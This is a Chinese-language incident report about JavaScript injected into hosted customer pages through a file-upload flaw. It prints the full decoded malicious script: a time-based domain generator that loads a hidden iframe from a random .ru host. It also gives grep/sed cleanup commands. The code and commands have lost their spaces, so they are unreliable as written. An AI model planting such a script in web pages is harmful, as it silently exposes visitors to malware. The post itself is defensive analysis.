我们的服务器又出入侵事故了。有客户的 html 网页底部被插入了一段 js 脚本，导致访客打开网页时被杀毒软件警告网站上有恶意代码。在黑链 SEO 中这是常见的手法，但奇特的地方就在于我们这次捕获到的代码，会根据当前的时间戳生成一个（伪）随机域名，然后定时访问。看上去目的并非是 SEO。

一、攻击分析

被插入的 javascript 在此——

运维拿到这段代码的时候，都不知道它是要做什么。在这里不得不吐槽一下，为啥我们的运维都不懂代码……我放到 Chrome 里 decode 出来，是这样子的：

functionnextRandomNumber(){varhi=this.seed/this.Q;varlo=this.seed%this.Q;vartest=this.A*lo-this.R*hi;if(test>0){this.seed=test;}else{this.seed=test+this.M;}return(this.seed*this.oneOverM);} functionRandomNumberGenerator(unix){vard=newDate(unix*1000);vars=d.getHours()>12?1:0;this.seed=2345678901+(d.getMonth()*0xFFFFFF)+(d.getDate()*0xFFFF)+(Math.round(s*0xFFF));this.A=48271;this.M=2147483647;this.Q=this.M/this.A;this.R=this.M%this.A;this.oneOverM=1.0/this.M;this.next=nextRandomNumber;returnthis;} functioncreateRandomNumber(r,Min,Max){returnMath.round((Max-Min)*r.next()+Min);} functiongeneratePseudoRandomString(unix,length,zone){varrand=newRandomNumberGenerator(unix);varletters=['a','b','c','d','e','f','g','h','i','j','k','l','m','n','o','p','q','r','s','t','u','v','w','x','y','z'];varstr='';for(vari=0;i<length;i++){str+=letters[createRandomNumber(rand,0,letters.length-1)];}returnstr+'.'+zone;}setTimeout(function(){try{if(typeofiframeWasCreated=="undefined"){iframeWasCreated=true;varunix=Math.round(+newDate()/1000);vardomainName=generatePseudoRandomString(unix,16,'ru');ifrm=document.createElement("IFRAME");ifrm.setAttribute("src","http://"+domainName+"/runforestrun?sid=cx");ifrm.style.width="0px";ifrm.style.height="0px";ifrm.style.visibility="hidden";document.body.appendChild(ifrm);}}catch(e){}},500);

于是大意可知，它内置了一个随机域名生成函数，有趣的事情。伪随机数发生器基于 unix 时间戳，说它是“伪”随机，是因为这并非真正意义上的随机，我们可以根据时间计算出它所产生的结果。事实上，它最终每 12 个小时就会生成一个类似 ctonxidjqijsnzny.ru znycugibimtvplve.ru 这样的域名。//www.yunsec.net 云安全

这并非有新意的黑客，之前有安全人员对恶意软件下载的分析，攻击者甚至使用了 twitter 消息作为种子来生成域名，这是真正的随机，完全无法预料，也无从预警和封锁。

话说回来，在这段代码开始运作产生访问流量之前，黑客有充足的时间注册和配置域名，并挂上木马链接。毫无疑问的是，如果 2012 真的不是世界末日，我们很容易预知到它即将产生什么域名。于是写段程序检测一下，直至未来的 2012 年 8 月 7 日，有 89 个域名已经注册，WHOIS 显示 DNS 解析服务器在俄国。真正的黑客大国，老毛子名不虚传。

网上搜了一下，很多国外服务商也遇到了这个问题，有人甚至观测到一些服务器端的逻辑，比如根据访问者 IP 进行 302 重定向的机制。
 

二、安全漏洞

更重要的问题是，恶意 js 代码是怎么注入到我们客户的网页上的呢？

通过查看日志我们发现，捅篓子的是某著名后台管理系统的一个文件上传漏洞，目前厂商已经给出修复方案。他们建议重置所有用户的密码……
 

三、擦屁股

这苦逼活，又是我的差事。花了一个小时，写了两句话，测试通过。

# check

grep-rl–include=*.{php,js,htm,html}”km0ae9gr6m”/var/www/vhosts/*>injeted_list.txt

# clean up

grep-rl–include=*.{php,js,htm,html}”km0ae9gr6m”/var/www/vhosts/*|xargssed-i-e’s/\/\*km0ae9gr6m/\n&/g’-e’s/qhk6sa6g1c\ //&\n/g’-e’/km0ae9gr6m*/,/qhk6sa6g1c/d’

参考链接：
http://research.zscaler.com/2012/07/mass-compromise-includes-computerworld.html